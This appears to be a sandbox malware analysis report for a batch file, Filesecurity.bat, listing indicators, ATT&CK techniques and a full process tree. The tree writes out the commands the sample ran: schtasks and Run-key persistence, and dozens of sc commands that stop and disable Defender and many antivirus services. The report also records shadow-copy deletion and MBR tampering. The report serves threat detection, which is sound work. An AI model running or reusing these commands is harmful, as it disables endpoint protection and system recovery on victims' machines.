4997de08553a689944ab250ef4611ac829167ed958b24f0e3f778a74577eb2c6

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\Temp\\Filesecurity.bat"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\Temp\\Filesecurity.bat"	reg.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 16 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe

Modifies firewall policy service 3 TTPs 4 IoCs

Modify Registry

Windows Service

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\EnableFirewall = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\EnableFirewall = "0"	reg.exe

Modifies visibility of hidden/system files in Explorer 2 TTPs 2 IoCs

Hidden Files and Directories

T1564.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 24 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3668	bcdedit.exe
1664	bcdedit.exe
2620	bcdedit.exe
3868	bcdedit.exe
4536	bcdedit.exe
2336	bcdedit.exe
1056	bcdedit.exe
3848	bcdedit.exe
4836	bcdedit.exe
4568	bcdedit.exe
3204	bcdedit.exe
2144	bcdedit.exe
4048	bcdedit.exe
2152	bcdedit.exe
3024	bcdedit.exe
5068	bcdedit.exe
3300	bcdedit.exe
3664	bcdedit.exe
4472	bcdedit.exe
232	bcdedit.exe
2796	bcdedit.exe
3180	bcdedit.exe
2024	bcdedit.exe
1472	bcdedit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
7076	powershell.exe
7128	powershell.exe
4012	powershell.exe
3276	powershell.exe

Disables Task Manager via registry modification
defense_evasion

Modifies Windows Firewall 2 TTPs 2 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
2620	netsh.exe
3360	netsh.exe

Possible privilege escalation attempt 14 IoCs

exploit

pid	Process
3148	takeown.exe
920	takeown.exe
2288	takeown.exe
1168	icacls.exe
3472	takeown.exe
124	takeown.exe
7316	takeown.exe
7324	takeown.exe
2484	takeown.exe
1144	icacls.exe
4272	icacls.exe
808	icacls.exe
7360	icacls.exe
7380	icacls.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	cmd.exe

Modifies file permissions 1 TTPs 14 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
808	icacls.exe
7316	takeown.exe
7380	icacls.exe
2484	takeown.exe
1144	icacls.exe
920	takeown.exe
1168	icacls.exe
3472	takeown.exe
124	takeown.exe
7324	takeown.exe
7360	icacls.exe
3148	takeown.exe
4272	icacls.exe
2288	takeown.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemHealth = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Filesecurity.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemHealth = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Filesecurity.bat"	reg.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Power Settings 1 TTPs 10 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2260	powercfg.exe
2092	powercfg.exe
4352	powercfg.exe
2484	powercfg.exe
2760	powercfg.exe
616	powercfg.exe
1284	powercfg.exe
788	powercfg.exe
3108	powercfg.exe
1928	powercfg.exe

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	powershell.exe
File opened for modification	\??\PhysicalDrive0	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3896	sc.exe
232	sc.exe
4816	sc.exe
2616	sc.exe
920	sc.exe
856	sc.exe
3024	sc.exe
4100	sc.exe
6692	sc.exe
3396	sc.exe
4520	sc.exe
440	sc.exe
696	sc.exe
4800	sc.exe
768	sc.exe
6692	sc.exe
2632	sc.exe
4660	sc.exe
3904	sc.exe
3336	sc.exe
1048	sc.exe
1200	sc.exe
3648	sc.exe
4224	sc.exe
7248	sc.exe
2212	sc.exe
4740	sc.exe
4932	sc.exe
5012	sc.exe
1980	sc.exe
1000	sc.exe
7236	sc.exe
4768	sc.exe
4672	sc.exe
3084	sc.exe
2336	sc.exe
4248	sc.exe
5024	sc.exe
1372	sc.exe
1584	sc.exe
5036	sc.exe
460	sc.exe
1448	sc.exe
3384	sc.exe
768	sc.exe
3512	sc.exe
2884	sc.exe
3448	sc.exe
3188	sc.exe
3480	sc.exe
3876	sc.exe
4668	sc.exe
4832	sc.exe
1456	sc.exe
3780	sc.exe
4684	sc.exe
1628	sc.exe
4068	sc.exe
4508	sc.exe
792	sc.exe
2772	sc.exe
1784	sc.exe
4456	sc.exe
956	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
persistence privilege_escalation

Accessibility Features
T1546.008

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Delays execution with timeout.exe 4 IoCs

pid	Process
2196	timeout.exe
2300	timeout.exe
4000	timeout.exe
1532	timeout.exe

Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3512	vssadmin.exe
3436	vssadmin.exe

Kills process with taskkill 8 IoCs

pid	Process
6824	taskkill.exe
6860	taskkill.exe
6912	taskkill.exe
6952	taskkill.exe
6992	taskkill.exe
7036	taskkill.exe
6588	taskkill.exe
6768	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.exe	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.exe\ = "txtfile "	cmd.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5044	schtasks.exe
4220	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4012	powershell.exe
4012	powershell.exe
3276	powershell.exe
3276	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2760	powercfg.exe
Token: SeCreatePagefilePrivilege	2760	powercfg.exe
Token: SeShutdownPrivilege	616	powercfg.exe
Token: SeCreatePagefilePrivilege	616	powercfg.exe
Token: SeShutdownPrivilege	2260	powercfg.exe
Token: SeCreatePagefilePrivilege	2260	powercfg.exe
Token: SeShutdownPrivilege	1284	powercfg.exe
Token: SeCreatePagefilePrivilege	1284	powercfg.exe
Token: SeShutdownPrivilege	2092	powercfg.exe
Token: SeCreatePagefilePrivilege	2092	powercfg.exe
Token: SeTakeOwnershipPrivilege	2484	takeown.exe
Token: SeTakeOwnershipPrivilege	3148	takeown.exe
Token: SeIncreaseQuotaPrivilege	4696	WMIC.exe
Token: SeSecurityPrivilege	4696	WMIC.exe
Token: SeTakeOwnershipPrivilege	4696	WMIC.exe
Token: SeLoadDriverPrivilege	4696	WMIC.exe
Token: SeSystemProfilePrivilege	4696	WMIC.exe
Token: SeSystemtimePrivilege	4696	WMIC.exe
Token: SeProfSingleProcessPrivilege	4696	WMIC.exe
Token: SeIncBasePriorityPrivilege	4696	WMIC.exe
Token: SeCreatePagefilePrivilege	4696	WMIC.exe
Token: SeBackupPrivilege	4696	WMIC.exe
Token: SeRestorePrivilege	4696	WMIC.exe
Token: SeShutdownPrivilege	4696	WMIC.exe
Token: SeDebugPrivilege	4696	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4696	WMIC.exe
Token: SeRemoteShutdownPrivilege	4696	WMIC.exe
Token: SeUndockPrivilege	4696	WMIC.exe
Token: SeManageVolumePrivilege	4696	WMIC.exe
Token: 33	4696	WMIC.exe
Token: 34	4696	WMIC.exe
Token: 35	4696	WMIC.exe
Token: 36	4696	WMIC.exe
Token: SeShutdownPrivilege	4352	powercfg.exe
Token: SeCreatePagefilePrivilege	4352	powercfg.exe
Token: SeShutdownPrivilege	2484	powercfg.exe
Token: SeCreatePagefilePrivilege	2484	powercfg.exe
Token: SeShutdownPrivilege	788	powercfg.exe
Token: SeCreatePagefilePrivilege	788	powercfg.exe
Token: SeShutdownPrivilege	3108	powercfg.exe
Token: SeCreatePagefilePrivilege	3108	powercfg.exe
Token: SeShutdownPrivilege	1928	powercfg.exe
Token: SeCreatePagefilePrivilege	1928	powercfg.exe
Token: SeBackupPrivilege	3672	vssvc.exe
Token: SeRestorePrivilege	3672	vssvc.exe
Token: SeAuditPrivilege	3672	vssvc.exe
Token: SeDebugPrivilege	4012	powershell.exe
Token: SeTakeOwnershipPrivilege	920	takeown.exe
Token: SeTakeOwnershipPrivilege	2288	takeown.exe
Token: SeTakeOwnershipPrivilege	3472	takeown.exe
Token: SeIncreaseQuotaPrivilege	2372	WMIC.exe
Token: SeSecurityPrivilege	2372	WMIC.exe
Token: SeTakeOwnershipPrivilege	2372	WMIC.exe
Token: SeLoadDriverPrivilege	2372	WMIC.exe
Token: SeSystemProfilePrivilege	2372	WMIC.exe
Token: SeSystemtimePrivilege	2372	WMIC.exe
Token: SeProfSingleProcessPrivilege	2372	WMIC.exe
Token: SeIncBasePriorityPrivilege	2372	WMIC.exe
Token: SeCreatePagefilePrivilege	2372	WMIC.exe
Token: SeBackupPrivilege	2372	WMIC.exe
Token: SeRestorePrivilege	2372	WMIC.exe
Token: SeShutdownPrivilege	2372	WMIC.exe
Token: SeDebugPrivilege	2372	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2372	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4584 wrote to memory of 1896	4584	cmd.exe	81
PID 1896 wrote to memory of 4100	1896	net.exe	82
PID 4584 wrote to memory of 2300	4584	cmd.exe	83
PID 4584 wrote to memory of 5044	4584	cmd.exe	84
PID 4584 wrote to memory of 1824	4584	cmd.exe	85
PID 4584 wrote to memory of 4012	4584	cmd.exe	86
PID 4584 wrote to memory of 1684	4584	cmd.exe	87
PID 4584 wrote to memory of 4268	4584	cmd.exe	89
PID 4584 wrote to memory of 3056	4584	cmd.exe	90
PID 4584 wrote to memory of 2560	4584	cmd.exe	91
PID 4584 wrote to memory of 2224	4584	cmd.exe	92
PID 4584 wrote to memory of 2844	4584	cmd.exe	94
PID 2124 wrote to memory of 3524	2124	net.exe	95
PID 4584 wrote to memory of 3084	4584	cmd.exe	96
PID 4584 wrote to memory of 4840	4584	cmd.exe	97
PID 4584 wrote to memory of 2392	4584	cmd.exe	98
PID 4584 wrote to memory of 4520	4584	cmd.exe	100
PID 4584 wrote to memory of 4048	4584	cmd.exe	101
PID 4584 wrote to memory of 3204	4584	cmd.exe	102
PID 4584 wrote to memory of 5100	4584	cmd.exe	103
PID 4584 wrote to memory of 3780	4584	cmd.exe	104
PID 4584 wrote to memory of 4796	4584	cmd.exe	105
PID 4584 wrote to memory of 3104	4584	cmd.exe	106
PID 4584 wrote to memory of 568	4584	cmd.exe	107
PID 4584 wrote to memory of 4668	4584	cmd.exe	108
PID 4584 wrote to memory of 956	4584	cmd.exe	109
PID 4584 wrote to memory of 2100	4584	cmd.exe	110
PID 4584 wrote to memory of 4832	4584	cmd.exe	111
PID 4584 wrote to memory of 1048	4584	cmd.exe	112
PID 4584 wrote to memory of 5012	4584	cmd.exe	113
PID 4584 wrote to memory of 4932	4584	cmd.exe	114
PID 4584 wrote to memory of 4836	4584	cmd.exe	115
PID 4584 wrote to memory of 2288	4584	cmd.exe	116
PID 4584 wrote to memory of 2376	4584	cmd.exe	117
PID 4584 wrote to memory of 3896	4584	cmd.exe	118
PID 4584 wrote to memory of 1168	4584	cmd.exe	119
PID 4584 wrote to memory of 828	4584	cmd.exe	120
PID 4584 wrote to memory of 5032	4584	cmd.exe	121
PID 4584 wrote to memory of 1424	4584	cmd.exe	122
PID 4584 wrote to memory of 1180	4584	cmd.exe	123
PID 4584 wrote to memory of 3964	4584	cmd.exe	124
PID 4584 wrote to memory of 2964	4584	cmd.exe	125
PID 4584 wrote to memory of 4684	4584	cmd.exe	126
PID 4584 wrote to memory of 412	4584	cmd.exe	127
PID 4584 wrote to memory of 2356	4584	cmd.exe	128
PID 4584 wrote to memory of 2212	4584	cmd.exe	129
PID 4584 wrote to memory of 4476	4584	cmd.exe	130
PID 4584 wrote to memory of 1256	4584	cmd.exe	131
PID 4584 wrote to memory of 4456	4584	cmd.exe	132
PID 4584 wrote to memory of 4740	4584	cmd.exe	133
PID 4584 wrote to memory of 4768	4584	cmd.exe	134
PID 4584 wrote to memory of 388	4584	cmd.exe	135
PID 4584 wrote to memory of 2496	4584	cmd.exe	136
PID 4584 wrote to memory of 2632	4584	cmd.exe	137
PID 4584 wrote to memory of 404	4584	cmd.exe	138
PID 4584 wrote to memory of 1884	4584	cmd.exe	139
PID 4584 wrote to memory of 4248	4584	cmd.exe	140
PID 4584 wrote to memory of 3664	4584	cmd.exe	141
PID 4584 wrote to memory of 2888	4584	cmd.exe	142
PID 4584 wrote to memory of 2884	4584	cmd.exe	143
PID 4584 wrote to memory of 1676	4584	cmd.exe	144
PID 4584 wrote to memory of 4304	4584	cmd.exe	145
PID 4584 wrote to memory of 232	4584	cmd.exe	146
PID 4584 wrote to memory of 124	4584	cmd.exe	147

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat"
1⤵
- Drops startup file
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4584
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1896
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4100
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2300
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "MicrosoftEdgeUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /sc onlogon /rl highest /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5044
- C:\Windows\system32\sc.exe
  sc stop WinDefend
  2⤵
  PID:1824
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  PID:4012
- C:\Windows\system32\sc.exe
  sc stop WdNisSvc
  2⤵
  PID:1684
- C:\Windows\system32\sc.exe
  sc config WdNisSvc start= disabled
  2⤵
  PID:4268
- C:\Windows\system32\sc.exe
  sc stop Sense
  2⤵
  PID:3056
- C:\Windows\system32\sc.exe
  sc config Sense start= disabled
  2⤵
  PID:2560
- C:\Windows\system32\sc.exe
  sc stop WdFilter
  2⤵
  PID:2224
- C:\Windows\system32\sc.exe
  sc config WdFilter start= disabled
  2⤵
  PID:2844
- C:\Windows\system32\sc.exe
  sc stop WebThreatDefSvc
  2⤵
  PID:3084
- C:\Windows\system32\sc.exe
  sc config WebThreatDefSvc start= disabled
  2⤵
  PID:4840
- C:\Windows\system32\sc.exe
  sc stop MsSecCore
  2⤵
  PID:2392
- C:\Windows\system32\sc.exe
  sc config MsSecCore start= disabled
  2⤵
  - Launches sc.exe
  PID:4520
- C:\Windows\system32\sc.exe
  sc stop wscsvc
  2⤵
  PID:4048
- C:\Windows\system32\sc.exe
  sc config wscsvc start= disabled
  2⤵
  PID:3204
- C:\Windows\system32\sc.exe
  sc stop SecurityHealthService
  2⤵
  PID:5100
- C:\Windows\system32\sc.exe
  sc config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3780
- C:\Windows\system32\sc.exe
  sc stop mpssvc
  2⤵
  PID:4796
- C:\Windows\system32\sc.exe
  sc config mpssvc start= disabled
  2⤵
  PID:3104
- C:\Windows\system32\sc.exe
  sc stop BITS
  2⤵
  PID:568
- C:\Windows\system32\sc.exe
  sc config BITS start= disabled
  2⤵
  - Launches sc.exe
  PID:4668
- C:\Windows\system32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:956
- C:\Windows\system32\sc.exe
  sc config UsoSvc start= disabled
  2⤵
  PID:2100
- C:\Windows\system32\sc.exe
  sc stop McAfeeFramework
  2⤵
  - Launches sc.exe
  PID:4832
- C:\Windows\system32\sc.exe
  sc config McAfeeFramework start= disabled
  2⤵
  PID:1048
- C:\Windows\system32\sc.exe
  sc stop McShield
  2⤵
  PID:5012
- C:\Windows\system32\sc.exe
  sc config McShield start= disabled
  2⤵
  - Launches sc.exe
  PID:4932
- C:\Windows\system32\sc.exe
  sc stop mfefire
  2⤵
  PID:4836
- C:\Windows\system32\sc.exe
  sc config mfefire start= disabled
  2⤵
  PID:2288
- C:\Windows\system32\sc.exe
  sc stop mfevtp
  2⤵
  PID:2376
- C:\Windows\system32\sc.exe
  sc config mfevtp start= disabled
  2⤵
  - Launches sc.exe
  PID:3896
- C:\Windows\system32\sc.exe
  sc stop NortonSecurity
  2⤵
  PID:1168
- C:\Windows\system32\sc.exe
  sc config NortonSecurity start= disabled
  2⤵
  PID:828
- C:\Windows\system32\sc.exe
  sc stop ccSetMgr
  2⤵
  PID:5032
- C:\Windows\system32\sc.exe
  sc config ccSetMgr start= disabled
  2⤵
  PID:1424
- C:\Windows\system32\sc.exe
  sc stop AVP
  2⤵
  PID:1180
- C:\Windows\system32\sc.exe
  sc config AVP start= disabled
  2⤵
  PID:3964
- C:\Windows\system32\sc.exe
  sc stop klif
  2⤵
  PID:2964
- C:\Windows\system32\sc.exe
  sc config klif start= disabled
  2⤵
  - Launches sc.exe
  PID:4684
- C:\Windows\system32\sc.exe
  sc stop klim6
  2⤵
  PID:412
- C:\Windows\system32\sc.exe
  sc config klim6 start= disabled
  2⤵
  PID:2356
- C:\Windows\system32\sc.exe
  sc stop klwtp
  2⤵
  - Launches sc.exe
  PID:2212
- C:\Windows\system32\sc.exe
  sc config klwtp start= disabled
  2⤵
  PID:4476
- C:\Windows\system32\sc.exe
  sc stop VSSERV
  2⤵
  PID:1256
- C:\Windows\system32\sc.exe
  sc config VSSERV start= disabled
  2⤵
  - Launches sc.exe
  PID:4456
- C:\Windows\system32\sc.exe
  sc stop bdredline
  2⤵
  - Launches sc.exe
  PID:4740
- C:\Windows\system32\sc.exe
  sc config bdredline start= disabled
  2⤵
  - Launches sc.exe
  PID:4768
- C:\Windows\system32\sc.exe
  sc stop updatesrv
  2⤵
  PID:388
- C:\Windows\system32\sc.exe
  sc config updatesrv start= disabled
  2⤵
  PID:2496
- C:\Windows\system32\sc.exe
  sc stop MBAMService
  2⤵
  - Launches sc.exe
  PID:2632
- C:\Windows\system32\sc.exe
  sc config MBAMService start= disabled
  2⤵
  PID:404
- C:\Windows\system32\sc.exe
  sc stop MBAMChameleon
  2⤵
  PID:1884
- C:\Windows\system32\sc.exe
  sc config MBAMChameleon start= disabled
  2⤵
  PID:4248
- C:\Windows\system32\sc.exe
  sc stop Sophos
  2⤵
  PID:3664
- C:\Windows\system32\sc.exe
  sc config Sophos start= disabled
  2⤵
  PID:2888
- C:\Windows\system32\sc.exe
  sc stop Health
  2⤵
  - Launches sc.exe
  PID:2884
- C:\Windows\system32\sc.exe
  sc config Health start= disabled
  2⤵
  PID:1676
- C:\Windows\system32\sc.exe
  sc stop Sophos
  2⤵
  PID:4304
- C:\Windows\system32\sc.exe
  sc config Sophos start= disabled
  2⤵
  - Launches sc.exe
  PID:232
- C:\Windows\system32\sc.exe
  sc stop Anti-Virus
  2⤵
  PID:124
- C:\Windows\system32\sc.exe
  sc config Anti-Virus start= disabled
  2⤵
  PID:4004
- C:\Windows\system32\sc.exe
  sc stop SAVService
  2⤵
  PID:2760
- C:\Windows\system32\sc.exe
  sc config SAVService start= disabled
  2⤵
  - Launches sc.exe
  PID:4816
- C:\Windows\system32\sc.exe
  sc stop ekrn
  2⤵
  PID:4412
- C:\Windows\system32\sc.exe
  sc config ekrn start= disabled
  2⤵
  PID:2700
- C:\Windows\system32\sc.exe
  sc stop egui
  2⤵
  - Launches sc.exe
  PID:4660
- C:\Windows\system32\sc.exe
  sc config egui start= disabled
  2⤵
  PID:2324
- C:\Windows\system32\sc.exe
  sc stop epfw
  2⤵
  - Launches sc.exe
  PID:1372
- C:\Windows\system32\sc.exe
  sc config epfw start= disabled
  2⤵
  PID:2480
- C:\Windows\system32\sc.exe
  sc stop TMBMSRV
  2⤵
  PID:1760
- C:\Windows\system32\sc.exe
  sc config TMBMSRV start= disabled
  2⤵
  - Launches sc.exe
  PID:3876
- C:\Windows\system32\sc.exe
  sc stop ntrtscan
  2⤵
  PID:428
- C:\Windows\system32\sc.exe
  sc config ntrtscan start= disabled
  2⤵
  PID:2024
- C:\Windows\system32\sc.exe
  sc stop TmPfw
  2⤵
  PID:4844
- C:\Windows\system32\sc.exe
  sc config TmPfw start= disabled
  2⤵
  - Launches sc.exe
  PID:460
- C:\Windows\system32\sc.exe
  sc stop avast
  2⤵
  PID:4148
- C:\Windows\system32\sc.exe
  sc config avast start= disabled
  2⤵
  PID:768
- C:\Windows\system32\sc.exe
  sc stop aswbIDSAgent
  2⤵
  - Launches sc.exe
  PID:4508
- C:\Windows\system32\sc.exe
  sc config aswbIDSAgent start= disabled
  2⤵
  PID:1700
- C:\Windows\system32\sc.exe
  sc stop sophosautoupdate
  2⤵
  PID:3548
- C:\Windows\system32\sc.exe
  sc config sophosautoupdate start= disabled
  2⤵
  - Launches sc.exe
  PID:1584
- C:\Windows\system32\sc.exe
  sc stop ASdSvc
  2⤵
  PID:4332
- C:\Windows\system32\sc.exe
  sc config ASdSvc start= disabled
  2⤵
  PID:2484
- C:\Windows\system32\sc.exe
  sc stop bdservicehost
  2⤵
  - Launches sc.exe
  PID:3448
- C:\Windows\system32\sc.exe
  sc config bdservicehost start= disabled
  2⤵
  PID:4988
- C:\Windows\system32\sc.exe
  sc stop bdagent
  2⤵
  PID:4428
- C:\Windows\system32\sc.exe
  sc config bdagent start= disabled
  2⤵
  PID:4556
